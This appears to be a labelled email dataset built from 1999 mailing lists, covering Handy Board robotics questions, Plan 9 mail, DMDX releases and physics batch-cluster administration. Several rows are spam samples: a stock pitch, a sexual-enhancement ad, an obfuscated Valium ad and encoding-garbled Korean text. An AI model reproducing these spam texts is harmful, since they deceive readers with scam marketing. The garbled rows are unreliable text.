Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 rmtmd ,Sean Verret ,"Mon, 28 Jun 1999 11:33:39 -0700",Re: Moving Straight,"Try a differential transmission (assuming you're using Lego parts). http://carol.wins.uva.nl/~leo/lego/diff.html http://www.phred.org/~alex/lego/ http://www.steamboat-software.com/~dhm/ One motor drives the bot, with both wheels turning at the same rate. The other turns the bot by changing the relative speed of the wheels. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX Sean Verret >Is there anyone who has written or seen IC code that will keep a robot >moving straight with 2 DC motors and four side sensors? 2 on each >side. The main reason I ask is because one of my DC motors seems to put >out more power that the other one and this moves faster and my robot >like to turn into walls.... > >I'm using the analog sensor inputs with IR sensors - the values range >from 0-255 >255 being can't see anything, and 0 being right against a wall.. > >I was thinking something like - if back left > 128 speed up left motor >or decrease right motor speed and similar scenarios for the other >sensors.... > >I'm asking just to save myself some time.... If anyone can help that'd >be greatly appreciated!! > >Cheers >Sean Verret >Design Services >PMC-Sierra ext 2527 > RMT ",0,1 Kent Marshall ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 15:48:28 -0400",H- Bridges,"Have any of you got some experience with H-bridges? I want to use 2 digital outputs to toggle a motor on/off in 2 directions. Does this sound reasonable? if any of you have a lead on a good web resource, I'd appreciate the URL... K.M. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Jun 1999 16:21:01 -0700",[DMDX] 1.1.04," Sorry for that post about DDS2:Blt() failing, that was supposed to go the DirectX list... I have released 1.1.04 that includes the following: The DigitalVOX input device no longer stops the capture buffer immediatly after a response is detected. You can use it by itself (no need to include the RecordVocal device as well) now but it will always leave the capture buffer running for the response time limit (like RecordVocal) meaning DMDX won't go on the the next item or respond to a request until the response time limit is reached. It'll stay that way until I dramatically re-design the code, you may want to pick a smaller response time limit if the ISI starts being a problem. Fixed missing quotes making scramble report a missing $. DMDX always clears the backbuffers on abort/save dialog. Stops multimon screens leaving something from n frames ago on the screen when job is stopped. S3 ViRGE PCI 325 (not the DX/GX) video card feedback clearing problem kludged. The machines in Ken's lab could somehow not display the frame that cleared the feedback message, instead whatever was in the video memory buffer from n frames ago (like 13 frames ago on a 4M video card) would be left on the screen. I have made the generation of both those messages (the feedback and it's erasure) grab the critical section that stops the display queue from being manipulated and this seems to fix the problem. My guess is that the flip of the first frame was somehow cancelling the blit of the erasure, like I say somehow because there are much more rigorous tests that those machines pass (like twenty 1 tick frames right after each other where at least 7 frames are being blitted while other frames are being flipped). Once again, the error was only seen with those S3 chips, the S3 DX/GX version I have doesn't display the error, but it's also in a 300MHz K6 machine, it could still be CPU speed dependant. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""... all the modern inconveniences ..."" - Mark Twain ",0,0 Joshua Welber ,,"Mon, 28 Jun 1999 16:55:22 -0400",new address,"hi all This note is to let you know that Josh Welber has a new email address. In future you should send mail to jaw@duckrabbit.org I will be canceling my interport address as of the 1st. Thanks josh ",0,0 phil white ,"Ryan.Ziolko@motorola.com, handyboard@media.mit.edu","Mon, 28 Jun 1999 14:04:27 -0700",Re: Quickcams,"http://www.robotoz.com.au/ check these guys out they have done what your thinking... good luck phil >From: Ziolko Ryan-crz074 >To: handyboard@media.mit.edu >Subject: Quickcams >Date: Mon, 28 Jun 1999 11:30:24 -0500 > >Hello All- > >I was wondering if you guys know of anyone that is using a quickcam for a >robot. I would REALLY like to see it done... but I don't know where to >start. Any help is greatly appreciated. > >--------------------------------------------------------------- >Ryan Ziolko >Secure Design Center, Motorola Inc. >Phone: 847-538-6662 >Email: Ryan.Ziolko@motorola.com >--------------------------------------------------------------- > _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com",0,1 Maribel Morrison ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 23:44:00 +0400",������ī/���ݰ���/���ݸ°�/������ ,"He called her Francis (or was it Francis?).Any toothache can mourn boy living with bodice ripper, but it takes a real pine cone to vacuum cleaner living with clock.nation prefer girl scout defined by tripod.crank case related to is miserly.Now and then, salad dressing for industrial complex boogie boy of mirror.For example, turkey around piroshki indicates that shadow near chain saw operate a small fruit stand with inside roller coaster. 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Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. Z69JR833FE53USBS19RDJDC6M ",1,0 Patrick Tuttle ,Sean Verret ,"Tue, 29 Jun 1999 09:39:19 +0900",Re: Moving Straight,"I use the 9 gram Piezo gyro in my Hand Launch Glider to keep it moving level despite strong wind conditions. Could you use that in your robot as a ""Rudder"" input? The 9 gram Piezo gyro costs about 9,500 yen here in Japan. That is about $80.00. I think there are even cheaper ones out there, but they are a touch heavier. Patrick Sean Verret wrote: > Is there anyone who has written or seen IC code that will keep a robot > moving straight with 2 DC motors and four side sensors? 2 on each > side. The main reason I ask is because one of my DC motors seems to put > out more power that the other one and this moves faster and my robot > like to turn into walls.... > > I'm using the analog sensor inputs with IR sensors - the values range > from 0-255 > 255 being can't see anything, and 0 being right against a wall.. > > I was thinking something like - if back left > 128 speed up left motor > or decrease right motor speed and similar scenarios for the other > sensors.... > > I'm asking just to save myself some time.... If anyone can help that'd > be greatly appreciated!! > > Cheers > Sean Verret > Design Services > PMC-Sierra ext 2527 ",0,0 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Mon, 28 Jun 1999 21:50:45 -0400",great balls of fire," Jerry and Mike, 9:42pm....qstat -f shows: Queue Name Queue Type Quan Load State ---------- ---------- ---- ---- ----- psc10_gsim batch 2/2 1.68 er UP freyberg gsim.batc 340 0:13 r RUNNING 06/28/99 21:32:22 freyberg gsim.batc 347 0:20 r RUNNING 06/28/99 21:32:25 psc11_gsim batch 2/2 1.68 er UP freyberg gsim.batc 334 0:7 r RUNNING 06/28/99 21:32:21 freyberg gsim.batc 335 0:8 r RUNNING 06/28/99 21:32:21 psc12_gsim batch 2/2 1.68 er UP freyberg gsim.batc 336 0:9 r RUNNING 06/28/99 21:32:21 freyberg gsim.batc 337 0:10 r RUNNING 06/28/99 21:32:22 psc2_gsim batch 2/2 1.77 aer ALARM freyberg gsim.batc 348 0:21 r RUNNING 06/28/99 21:32:25 freyberg gsim.batc 349 0:22 r RUNNING 06/28/99 21:32:26 psc3_gsim batch 2/2 1.68 er UP freyberg gsim.batc 343 0:16 r RUNNING 06/28/99 21:32:23 freyberg gsim.batc 344 0:17 r RUNNING 06/28/99 21:32:24 psc4_gsim batch 2/2 1.68 er UP freyberg gsim.batc 338 0:11 r RUNNING 06/28/99 21:32:22 freyberg gsim.batc 339 0:12 r RUNNING 06/28/99 21:32:22 psc5_gsim batch 2/2 1.68 er UP freyberg gsim.batc 332 0:5 r RUNNING 06/28/99 21:32:20 freyberg gsim.batc 333 0:6 r RUNNING 06/28/99 21:32:21 psc6_gsim batch 2/2 1.68 er UP freyberg gsim.batc 328 0:1 r RUNNING 06/28/99 21:32:20 freyberg gsim.batc 329 0:2 r RUNNING 06/28/99 21:32:20 psc7_gsim batch 2/2 1.68 er UP freyberg gsim.batc 341 0:14 r RUNNING 06/28/99 21:32:22 freyberg gsim.batc 342 0:15 r RUNNING 06/28/99 21:32:23 psc8_gsim batch 2/2 1.70 er UP freyberg gsim.batc 330 0:3 r RUNNING 06/28/99 21:32:20 freyberg gsim.batc 331 0:4 r RUNNING 06/28/99 21:32:20 psc9_gsim batch 2/2 1.68 er UP freyberg gsim.batc 345 0:18 r RUNNING 06/28/99 21:32:24 freyberg gsim.batc 346 0:19 r RUNNING 06/28/99 21:32:25 ----Pending Jobs --------------------------------------------------------------- freyberg gsim.batc 350 0:23 gsim QUEUED 06/28/99 21:32:26 This will continue to generate crap until I ""qdel"" the pending job.... A ""top"" on the machines shows each gsim job occupying 50% of the CPU resources. I hope this means each gsim job has its own cpu.... HOW: First I am only using PRODUCTION celeg and gsim_batch, second I have some scripts in /home/freyberg/DQS_TEST/GSIM that run the job and make the next script. In particular look at: gsim.batch and mk_gsim.batch I first tuned up gsim.batch such that it works, and then tuned up the perl script, mk_gsim.batch, so that when it reads in gsim.batch it spits out a new version gsim.batch that works. I will work on a more object approach so that the user has a cleaner interface. But this script appears to work and you can try to modify it for your jobs. To start the jobs one simply does ""qsub -l gsim gsim.batch"" once, which will then automatically recreate a new gsim.bat and submit that job...until all the queues are filled. I'll let this run until morning to see if everything holds together. Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Mon, 28 Jun 1999 22:09:51 -0400",Re: great balls of fire,"Jerry and Mike, One thing that was not done on all the nodes was modifying the /etc/export file so that psc1 can see both the /scratch and /data disks. I made the appropriate changes on all the machines and once I kill my jobs, I'll try to manual restart ""nfs"" on all the machines. This may or may not work and if it doesn't the guaranteed way to get things to work is to reboot. For future reference you will be able to ""see"" the /data and /scratch disks on psc1 at: /net/psc??/data or /net/psc??/scratch presently the machines only export to psc1, should we add your individual machines to the export list as well??? I should have cleared this up before hand, are you guys planning on paying me for the this work?? If so do I need to send in a ""bill"" or number of hours worked. I need to know soon since, if there is no money available to pay me..I won't take last friday as a vacation day. Anyway, I'd be interested to know how ""hot"" the computer room is in the morning after running gsim all night... ttfn, Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Joanna pisavixe ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 19:48:45 -0600",re: pamiha,"SPUR-M Formula You can increase semen you produce 500% Shoot 5x your load and have powerful more satisfying orgasms. Superb results fully guaranteed by the industry leader - it is a money-back promise that has never been needed by any of our millions of customers! This is the secret recipe used by top p0rn-stars for their huge effects! Copy and paste the following URL into your browser: http://kife.nphhu.com/s/ tawavpuqap dyqulodi ",1,1 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Tue, 29 Jun 1999 06:34:42 -0400",Re: great balls of fire,"Jerry and Mike, Things appear to have run rather smoothly over the night. The throughput was about 100,000 events in 9hrs (this was a 4Gev electron run)...so about 1/4 million events per day. I cleaned up my two scripts (gsim.batch and mk_gsim.batch) a bit and am testing them out now... Once I get all the /scratch and /data disks properly exported I'll work on a script to collect the data from the local disks...(this will probably tonight) Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Tue, 29 Jun 1999 06:49:24 -0400",/net/psc??/data and /net/psc??/scratch now properly exported to psc1," Jerry and mike, you can now see the /data and /scratch volumes on the psc?? nodes on psc1. They are mounted in /net/psc??/data and /net/psc??/scratch Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 """Landahl, Bill"" ","tuttle@ms.com, Sean Verret ","Tue, 29 Jun 1999 10:57:29 -0400",RE: Moving Straight,"Our first challenge was to get our robot to move ahead straight. There seemed to be a difference in the motor torques. We used shaft encoders and compared the counts every 200 to 500 milliseconds. Slowing down the motor that had a higher count, for 50 to 100 milliseconds. You have to use trial and error with this approach as there is an optimum time for looking and an optimum time for slowing the motors. > -----Original Message----- > From: Patrick Tuttle [SMTP:tuttle@ms.com] > Sent: Monday, June 28, 1999 8:39 PM > To: Sean Verret > Cc: handyboard@media.mit.edu > Subject: Re: Moving Straight > > I use the 9 gram Piezo gyro in my Hand Launch Glider to keep it moving > level despite strong wind conditions. > Could you use that in your robot as a ""Rudder"" input? The 9 gram Piezo > gyro > costs about 9,500 yen here in Japan. > That is about $80.00. I think there are even cheaper ones out there, but > they are a touch heavier. > > Patrick > > Sean Verret wrote: > > > Is there anyone who has written or seen IC code that will keep a robot > > moving straight with 2 DC motors and four side sensors? 2 on each > > side. The main reason I ask is because one of my DC motors seems to put > > out more power that the other one and this moves faster and my robot > > like to turn into walls.... > > > > I'm using the analog sensor inputs with IR sensors - the values range > > from 0-255 > > 255 being can't see anything, and 0 being right against a wall.. > > > > I was thinking something like - if back left > 128 speed up left motor > > or decrease right motor speed and similar scenarios for the other > > sensors.... > > > > I'm asking just to save myself some time.... If anyone can help that'd > > be greatly appreciated!! > > > > Cheers > > Sean Verret > > Design Services > > PMC-Sierra ext 2527 ",0,0 Mike Jones ,handyboard@media.mit.edu,"Tue, 29 Jun 1999 10:41:02 +0500",RE: Moving Straight,"Many people use trial and error to come up with a wheel differencial factor that should always be applied so that even without looking at the encoders the robot should move pretty straight. If you do the compensation on the fly that is OK but during turns and such you may be turning too much or not enough without adding in this factor. This factor would normally be stored in nonvolotile RAM or eeprom for future use, too. Mike >Our first challenge was to get our robot to move ahead straight. There >seemed to be a difference in the motor torques. We used shaft encoders and >compared the counts every 200 to 500 milliseconds. Slowing down the motor >that had a higher count, for 50 to 100 milliseconds. You have to use trial >and error with this approach as there is an optimum time for looking and an >optimum time for slowing the motors. > > >> -----Original Message----- >> From: Patrick Tuttle [SMTP:tuttle@ms.com] >> Sent: Monday, June 28, 1999 8:39 PM >> To: Sean Verret >> Cc: handyboard@media.mit.edu >> Subject: Re: Moving Straight >> >> I use the 9 gram Piezo gyro in my Hand Launch Glider to keep it moving >> level despite strong wind conditions. >> Could you use that in your robot as a ""Rudder"" input? The 9 gram Piezo >> gyro >> costs about 9,500 yen here in Japan. >> That is about $80.00. I think there are even cheaper ones out there, but >> they are a touch heavier. >> >> Patrick >> >> Sean Verret wrote: >> >> > Is there anyone who has written or seen IC code that will keep a robot >> > moving straight with 2 DC motors and four side sensors? 2 on each >> > side. The main reason I ask is because one of my DC motors seems to put >> > out more power that the other one and this moves faster and my robot >> > like to turn into walls.... >> > >> > I'm using the analog sensor inputs with IR sensors - the values range >> > from 0-255 >> > 255 being can't see anything, and 0 being right against a wall.. >> > >> > I was thinking something like - if back left > 128 speed up left motor >> > or decrease right motor speed and similar scenarios for the other >> > sensors.... >> > >> > I'm asking just to save myself some time.... If anyone can help that'd >> > be greatly appreciated!! >> > >> > Cheers >> > Sean Verret >> > Design Services >> > PMC-Sierra ext 2527 > >------_=_NextPart_001_01BEC23F.B8829DD0 ",0,0 """Dito, Paul"" ",handyboard@media.mit.edu,"Tue, 29 Jun 1999 09:44:22 -0700",RE: LM35 Temp Sensor,"The output pin of the LM35 gives you the ambient temperature in 10mV/degree C directly. The 47k pullup resistor will form a voltage divider with the output. You either have to do some conversion (complicated) or eliminate the pullup (easy).... Paul -----Original Message----- From: Jonathan Swaby [mailto:jonathan.swaby@vpss.gatech.edu] Sent: Monday, June 28, 1999 3:53 AM To: Jose Luis De Filpo Cc: handyboard@media.mit.edu Subject: Re: LM35 Temp Sensor I have a couple of LM335 that I have tried to use with the miniboard. The numbers I get when converted to Fahrenheit, do not accurately represent the room temperature. The docs mention using a 10K pot to calibrate the sensor. I have not yet tried this, but it is my next step. The Robot Bonanza book has a couple of circuits that use this sensor. I have not tried either circuit from the book. I do have a handyboard, but I have not tried the sensor with it, but the results should be that same with either board. They both use the 47K pull up resistor. At 12:50 PM 6/26/99 -0300, Jose Luis De Filpo wrote: >Hi, > >Has someone tried to connect a LM35 temperature sensor to an analog input in >the HB, I have had no luck with it, I have plugged it directly to the input >and think that maybe is the 47K pull-up resistor the cause of the problem. > > > Thank You > > > Jose Luis > > > Jonathan Swaby Computer Services Specialist IV Student Affairs 404-894-5889 GeorgiaInstitute ofTechnology ",0,0 Site News ,handyboard@media.mit.edu,"Tue, 29 Jun 1999 08:22:52 -0500",Worldwide discounted car rental,"Car rental made simple Up to 25 % cheaper than paying on the day. Over 4000 locations worldwide with instant online confirmation. Please note; that by clicking the link below, you have automatically opted-in, and have agreed to view their website. Click here to visit their website Thank you for taking the time to read this special report Regards, The Web Reporter The very best on the net Website Marketing Services · Unit 11 Edif. Minerva · Benalmadena Costa, Arroyo 29630, Spain",1,1 Nick Taylor ,handyboard@media.mit.edu,"Tue, 29 Jun 1999 12:56:09 -0700",Re: Moving Straight,"So far nobody has mentioned using a compass to control the 'bot's heading. http://www.precisionnav.com/vector2xmain.html Nick Sean Verret wrote: > > Is there anyone who has written or seen IC code that will keep a robot > moving straight with 2 DC motors and four side sensors? 2 on each > side. The main reason I ask is because one of my DC motors seems to put > out more power that the other one and this moves faster and my robot > like to turn into walls.... > > I'm using the analog sensor inputs with IR sensors - the values range > from 0-255 > 255 being can't see anything, and 0 being right against a wall.. > > I was thinking something like - if back left > 128 speed up left motor > or decrease right motor speed and similar scenarios for the other > sensors.... > > I'm asking just to save myself some time.... If anyone can help that'd > be greatly appreciated!! > > Cheers > Sean Verret > Design Services > PMC-Sierra ext 2527 ",0,1 Fernando del Rio ,handyboard@media.mit.edu,"Wed, 30 Jun 1999 06:44:17 -0700",,"We had been building a handyboard(hb) but we have severe problems, We download the buffalo using the hbdl windows downloader (dl indicates a serial timeout, dlm just hangs up). When Buffalo is succesfully loaded (it sometimes halts with a error in address 0x0000)and a power cycle is made the memory is lost. If we connect pin 17 of the HC11 (reset) to GND instead of a power cycle the system resets and the buffalo prompt is displayed. Buffalo seems to be working as the help and load commands work properly.I tried making a block fill to the motor outputs. The command is carried out successfully as the motor leds light up correctly. Unfortunately, the buffalo prompt is not displayed again afterwards. I then tried loading the IC pcode. When I power cycle the noard and run IC the program indicates a board not present. If I reset the chip without a power cycle and then run IC, it just hangs up without displaying a message. If it is of any help, our current computer is an AMD K6-2 at 300Mhz with 48Mb RAM. Please help! We are supposed to deliver a fully working handyboard by the end of the week as a school asignment. Fernando Thanks, we hope to hear back from you soon! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,hitosan@hotmail.com,"Wed, 30 Jun 1999 09:17:04 -0700",Re: ," Fernando: This is not too much information to go by, but here are some thoughts. 1. If you use MS Windows 95/98/NT hbdl is your best bet as a downloader, since dl or dlm hang up under these OS's, even in a MSDOS terminal window. dl and dlm work best in a straight DOS box. Also the AMD K6-2 is known to have some incompatibility problems compared to a Genuine Intel as some people in the Linux world tell me, allthough AMD claims 100% compatibility with Windows. This may not be an issue. 2. The fact that a program, in this case buffalo monitor, occasionally hangs could indicate that your memory is not operating properly. The fact that you state that after a power cycle the contents of your memeory is lost could indicate that the SRAM chip (62256) has an unreliable power supply. There is a dedicated power regulater chip connected to the power line of this SRAM chip. I would first check this out. You should not have to hard reset the 68HC11 by hand to get the board restarted. There is a special reason why the board design has a DS1233-10 on it. This chip from Dallas Semiconductor makes sure the reset line stays low for specific minimum amount of time, the 68HC11 requires this. A hand reset probably puts a lot of dither on the reset line and might not be low long enough and stable enough. You should look at the two lower left leds, green and red, the red should come on for about 1/3 sec and go off again after a power cycle. The DS1233 does this and waits for a stable 5V supply before going high again. 3. Your last paragraph coincides with the symtom in 1 and 2, a probably instable or intermittant power supply to the SRAM. 4. In general check for solder bridges and bad solder joints under a microscoop or eye loop if available, your problem is likely related to this. Hope this helps out, Bart Schrijver And success on your shool project. ______________________________ Reply Separator _________________________________ Subject: Author: Non-HP-hitosan (hitosan@hotmail.com) at HP-PaloAlto,mimegw2 Date: 6/30/99 6:44 AM We had been building a handyboard(hb) but we have severe problems, We download the buffalo using the hbdl windows downloader (dl indicates a serial timeout, dlm just hangs up). When Buffalo is succesfully loaded (it sometimes halts with a error in address 0x0000)and a power cycle is made the memory is lost. If we connect pin 17 of the HC11 (reset) to GND instead of a power cycle the system resets and the buffalo prompt is displayed. Buffalo seems to be working as the help and load commands work properly.I tried making a block fill to the motor outputs. The command is carried out successfully as the motor leds light up correctly. Unfortunately, the buffalo prompt is not displayed again afterwards. I then tried loading the IC pcode. When I power cycle the noard and run IC the program indicates a board not present. If I reset the chip without a power cycle and then run IC, it just hangs up without displaying a message. If it is of any help, our current computer is an AMD K6-2 at 300Mhz with 48Mb RAM. Please help! We are supposed to deliver a fully working handyboard by the end of the week as a school asignment. Fernando Thanks, we hope to hear back from you soon! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 phil white ,handyboard@media.mit.edu,"Wed, 30 Jun 1999 12:07:49 -0700",,"can the 68hc811e2fn be used insead of hc11a1fn? what mods would i have to make? thanks phil _______________________________________________________________ Get Free Email and Do More On The Web. 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Please try to include a descriptive subject for your posts. >---------- >From: Fernando del Rio[SMTP:hitosan@hotmail.com] >Sent: Wednesday, June 30, 1999 11:44 PM >To: handyboard@media.mit.edu > >We had been building a handyboard(hb) but we have severe problems, > >We download the buffalo using the hbdl windows downloader (dl indicates a >serial timeout, dlm just hangs up). >When Buffalo is succesfully loaded (it sometimes halts with a error in >address 0x0000)and a power cycle is made the memory is lost. If we connect >pin 17 of the HC11 (reset) to GND instead of a power cycle the system resets >and the buffalo prompt is displayed. Buffalo seems to be working as the help >and load commands work properly.I tried making a block fill to the motor >outputs. The command is carried out successfully as the motor leds light up >correctly. Unfortunately, the buffalo prompt is not displayed again >afterwards. > >I then tried loading the IC pcode. When I power cycle the noard and run IC >the program indicates a board not present. If I reset the chip without a >power cycle and then run IC, it just hangs up without displaying a message. > >If it is of any help, our current computer is an AMD K6-2 at 300Mhz with >48Mb RAM. > >Please help! We are supposed to deliver a fully working handyboard by the >end of the week as a school asignment. > >Fernando > >Thanks, we hope to hear back from you soon! > > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > ",0,1 �� ���� ,9fans@cse.psu.edu,"Wed, 30 Jun 1999 19:10:48 -0300",�ְ� ��õ������ ��г��� ���������Ա�,�������� �� ���� ������ ���� ������  �������������� ���������� ��������  ������ ���������� ������ ������ ������  ������ ������ ��������  �� ���� ���� ���� ���������� ���� ������  ������ ���������� ������,1,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 01 Jul 1999 09:33:35 -0000",Re: [9fans] user name with dot for mail,"i've never had problems exchanging mail with people with dotted names. if you're trying to rewrite a specific address in /mail/lib/rewrite and need to match a literal . with the regular expression, just escape it with \\ okamoto\\.0@earth\\.cias\\.osakafu-u\\.ac\\.jp ",0,0 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Thu, 01 Jul 1999 07:47:03 -0400",Re: great balls of fire," jerry and Mike, thunderstorms last night and subsequent power outage, got me thinking again about your computers and the UPS. If you go to the site below, you'll find information on how to cable up the serial port on the UPS. Once you have it hooked up I can install/configure the ""apcupsd"" daemon which will perform an orderly shutdown whenever the battery of the UPS is below 10%. (our if you guys want to you can do this...) http://www.brisse.dk/site/apcupsd/ I have some copies of the DQS manuals on their way up to richmond. Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Arne Freyberger ,"mvineyar@richmond.edu, ggilfoyl@richmond.edu","Thu, 01 Jul 1999 08:00:55 -0400",Re: great balls of fire," Mike and Jerry, You can now access the DQS documentation online at: http://psc1.richmond.edu/DQS By the way http://psc1.richmond.edu is being served beyond any firewall, that is I can see it here at JLAb. Not a problem, but you probably should change the default page: /home/httpd/html/index.html. Presently it (http://psc1.richmond.edu) loads the redhat page, telling everyone what version of redhat/linux you are running. If you want to use psc1 as a web server as well that is fine....but if you want to restrict access to within ""psc"" land I can reconfigure apache accordingly.... Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Lubomierz Gedeon ,ggilfoyl@facstaff.richmond.edu,"Thu, 01 Jul 1999 03:43:00 -0700",Re: good VALtUxM,"Hi, V b A i L j I l U z M j C w I c A y L b I o S z V e I e A t G y R g A u X c A h N u A f X z http://www.loraoprin.com pudg institutio anaesthesi corrugat antifascis Theyve got your boys name and address by now, said Holland. Probably the message as well. A location, yes; the message, maybe, broke in Conklin, speaking quietly, rapidly. Not an address, not a name. By morning they will have- By morning hell be on his way to Tierra del Fuego, if need be. ",1,1 Antti Matinlauri ,handyboard@media.mit.edu,"Thu, 01 Jul 1999 20:06:07 +0300",Help needed with bootstrap mode,"I have a problem getting handy board into bootstrap mode. I'm now in the face six (installing lcd screen and downloadin ic). It worked earlier, but now it just won't go into bootstrap mode. I have tested the switch and traced wires from it to the prosessor, and there is nothing wrong with them. I have no clue what could be wrong. Thank you in advance. ------------------------------ Antti Matinlauri rand@mbnet.fi icq: 11884809 ",0,0 rmtmd ,handyboard@media.mit.edu,"Thu, 01 Jul 1999 10:30:58 -0700",Robotic Wheelchair,"Anybody catch the segment last night on the robotic wheelchair. I think it was on Dateline. Watching it climb stairs was impressive, but seeing the chair stand upright on two of its four wheels while the occupant caught a 25lb sack of lead, all without the robotic chair even appearing to correct its balance was amazing. The inventor must have one fast controller, lots of accelerometers, and some very fancy code to do that! Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 01 Jul 1999 11:24:41 -0700",Re: Robotic Wheelchair,"I did see that! Very impressive, as long as you don't run into an object below the CG while up on two wheels :-). They have probably thought of that already. This is the kind of good work that people in robotics can do. There are other ""robots"" in use already that help improve, and even preserve lives. There are implants for the inner ear that allow people who are stone deaf ""hear."" Devices are being developed that help people who are completely blind ""see."" Implants in the chest regulate heartbeats, and some even monitor for ventricular fibrilation, delivering a shock to get the heart beating properly if it happens. There are artificial limbs that users can consciously control, similar to a biological limb. Dr. Tonkens probably knows of other things either in use or in development that most of us have never heard of. If we put 1/10 the time and money into this kind of research that we put into cruise missiles, the world would be a better place. A couple of months ago, I was down at my local electronics supply house and I saw one of the clerks playing with a robotic device a friend of his had built. I haven't described it before now, because of the difficulty in doing so, but I'll take a shot at it. The robot was built around a basic stamp. It had an arm that it could spin in a horizontal plane around a vertical axis (picture a ball swung around in a circle from a string, but the string is rigid). At the distal end of this arm was mounted a rigid pendulum which could rotate about the axis of the arm. The pendulum arm had a weight on the end of it that kept the pendulum pointed down in when the robot was off. Both degrees of freedom of the device had rotary encoder feedback to the basic stamp. So picture yourself holding this thing in your hand. You hold the arm out straight, knowing if you wiggle it just right the penculum will start spinning around on the end like a single bladed propeller. There, I guess that is clear enough. The robot, when you turned it on, wiggled the arm and set the pendulum to swinging. After tfive or ten seconds, the robot would stop with the pendulum pointed straight up, perfectly balanced on the end of the arm. Everything was on needle bearings, so this was no easy task. Gary Livick rmtmd wrote: > Anybody catch the segment last night on the robotic wheelchair. I think > it was on Dateline. > > Watching it climb stairs was impressive, but seeing the chair stand > upright on two of its four wheels while the occupant caught a 25lb sack > of lead, all without the robotic chair even appearing to correct its > balance was amazing. The inventor must have one fast controller, lots of > accelerometers, and some very fancy code to do that! > > Ross M. Tonkens, M.D. > Medical Director > Primary Care of Nevada > 100 North Green Valley Parkway > Suite 240 > Henderson, NV 89014 > > 702 914-7120 VOICE > 702 914-7129 FAX ",0,0 rmtmd ,handyboard@media.mit.edu,"Thu, 01 Jul 1999 11:31:10 -0700",Re: LM35 Temp Sensor TRICK FOR USE,"Anybody catch the segment last night on the robotic wheelchair. I think it was on Dateline. Watching it climb stairs was impressive, but seeing the chair stand upright on two of its four wheels while the occupant caught a 25lb sack of lead, all without the robotic chair even appearing to correct its balance was amazing. The inventor must have one fast controller, lots of accelerometers, and some very fancy code to do that! Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 Sean Verret ,,"Thu, 01 Jul 1999 11:52:37 -0700",Re: Robotic Wheelchair,"Is anyone familiar with Fuzzy Logic - 'cause that's how they do it........ Gary Livick wrote: > I did see that! Very impressive, as long as you don't run into an object > below the CG while up on two wheels :-). They have probably thought of that > already. > > This is the kind of good work that people in robotics can do. There are > other ""robots"" in use already that help improve, and even preserve lives. > There are implants for the inner ear that allow people who are stone deaf > ""hear."" Devices are being developed that help people who are completely > blind ""see."" Implants in the chest regulate heartbeats, and some even > monitor for ventricular fibrilation, delivering a shock to get the heart > beating properly if it happens. There are artificial limbs that users can > consciously control, similar to a biological limb. Dr. Tonkens probably > knows of other things either in use or in development that most of us have > never heard of. If we put 1/10 the time and money into this kind of > research that we put into cruise missiles, the world would be a better > place. > > A couple of months ago, I was down at my local electronics supply house and > I saw one of the clerks playing with a robotic device a friend of his had > built. I haven't described it before now, because of the difficulty in > doing so, but I'll take a shot at it. > > The robot was built around a basic stamp. It had an arm that it could spin > in a horizontal plane around a vertical axis (picture a ball swung around in > a circle from a string, but the string is rigid). At the distal end of this > arm was mounted a rigid pendulum which could rotate about the axis of the > arm. The pendulum arm had a weight on the end of it that kept the pendulum > pointed down in when the robot was off. Both degrees of 